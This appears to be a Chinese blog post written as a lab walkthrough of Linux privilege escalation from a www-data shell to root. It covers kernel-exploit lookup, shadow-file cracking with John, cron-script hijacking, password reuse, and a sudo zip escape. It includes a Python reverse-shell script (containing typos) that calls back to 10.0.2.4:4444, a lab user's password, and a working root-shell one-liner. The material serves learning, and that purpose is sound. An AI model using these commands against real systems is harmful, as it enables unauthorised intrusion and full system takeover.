linux系统提权——基于已经拿到www-data权限

前言：上次学习利用目录遍历漏洞获取了一个反弹的webshell，但是权限是www-data，不是root权限，所以这次学习提权，拿到root权限。

提权介绍

往往我们能拿下服务器的web服务只是具有低权限用户(www-data)，对于内网渗透，我们需要提权到root。linux系统的提权过程不止涉及到了漏洞，也涉及了很多系统配置。
提权前提：

• 已经拿到低权shell
• 被入侵的机器上面有nc，python，perl等非常常见的工具
• 有权限上传文件和下载文件

学习环境依然是上次的shell获取的www-data权限

提权方式

内核漏洞提权

内核漏洞一般是首选考虑的，先查看是否可以使用内核漏洞进行提权。先对系统做个了解

#查看发行版本
cat /etc/issue
cat /etc/*-release
# 查看内核版本
uname -a

看到发行版本是Ubuntu 12.04.5
寻找内核溢出代码使用searchsploit
但是发现并没有，可以适合这个版本的漏洞模块；但是有12.04的，不过不行；

没有这个，所以没办法利用；如果存在可以利用的，那么使用方法就是

gcc xxx.c -o exploit
chmod +x exploit
./exploit

这个是内核溢出的提权，不过一般用不上。

明文root密码提权

大多linux系统的密码都和/etc/passwd、/etc/shadow这两个配置文件相关的；passwd里面储存了用户，shadow里面是密码的hash；且passwd是全用户可读，root可写。shadow是仅root可以进行读写的。
破解linux用户名和对应的密码

/etc/passwd  /etc/shadow
unshadow passwd shadow > cracked
john cracked

使用John这个工具来破解。
到kali中查看这两个文件，passwd可以查看，shadow是无法查看的

所以此方法也不行，不过倒是可以在root权限下查看密码(前提是不知道root密码)

计划任务

系统内可能会有一些定时执行的任务，一般这些任务由crontab来管理，具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行，如果刚好遇到一个把其中脚本配置成可以任意用户可写的，这个时候就可以修改脚本等回连rootshell；如果定时执行的文件时python脚本，可以使用下面的脚本来替换之前的脚本。

#!/usr/bin/python
import os,subprocess,socket

s=socket.socekt(sicket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.0.2.4","4444"))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

测试时查看/etc/crontab发现并没有可写权限的文件

所以此方法行不通。

密码复用

很多管理员会重读使用密码，因此数据库或者web后台的密码也许就是root密码。

有了疑似root密码，第一时间想到ssh登录，但是ssh很可能禁止root登录，或者是防火墙规则等因素排除。之前已经得到一个低权限的shell，但是直接在低权限里使用sudo是不奏效的。出于安全考虑，linux要求用户必须从终端设备（tty）中输入密码，而不是标准输入，也就是说sudo在输入密码的时候本质是读取键盘，而不是bash里面的字符。因此要输入密码，还需要一个终端设备。python有这种功能的，就是模拟化终端，输入

python -c "import pty;pty.spawn('/bin/bash')"

可以看到是已经启动了虚拟终端
然后找到了一些信息，因为是靶场，而且是学习提权的，这个寻找信息的过程就不写了。
找到一个用户名为zico密码为sWfCsfJSPV9H3AmQzw8的一个用户。
而日是开放了ssh服务的，所以可以直接进行ssh登录

看到了登录成功，密码正确。

利用zip进行提权
sudo -l查看了当前可以使用root提权的命令信息。
返回以下结果

Matching Defaults entries for zico on this host:
    env_reset, exempt_group=admin,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User zico may run the following commands on this host:
    (root) NOPASSWD: /bin/tar
    (root) NOPASSWD: /usr/bin/zip

可以使用zip进行提权

touch exploit
sudo -u root zip exploit.zip exploit -T --unzip-command="sh -c /bin/bash"

发现得到了root权限

总结：

1. 内核漏洞
   在kali当中找相应版本的漏洞，看有无适应当前版本的可以利用的漏洞。
2. 明文root密码
   要求拿到的用户，刚好有可以读取shadow和passwd文件的权限。
3. 计划任务
   计划的任务修改执行对应的脚本可以获取root权限，待尝试~
4. 密码复用
   已知其他用户的密码，可以推测root用户的密码也是相同的（PS：不得不说我自己的就是，我的kali普通用户和root用户设置的密码是一样的，因为懒）
   以上是几种常见的提权方式，这次学习收获很多。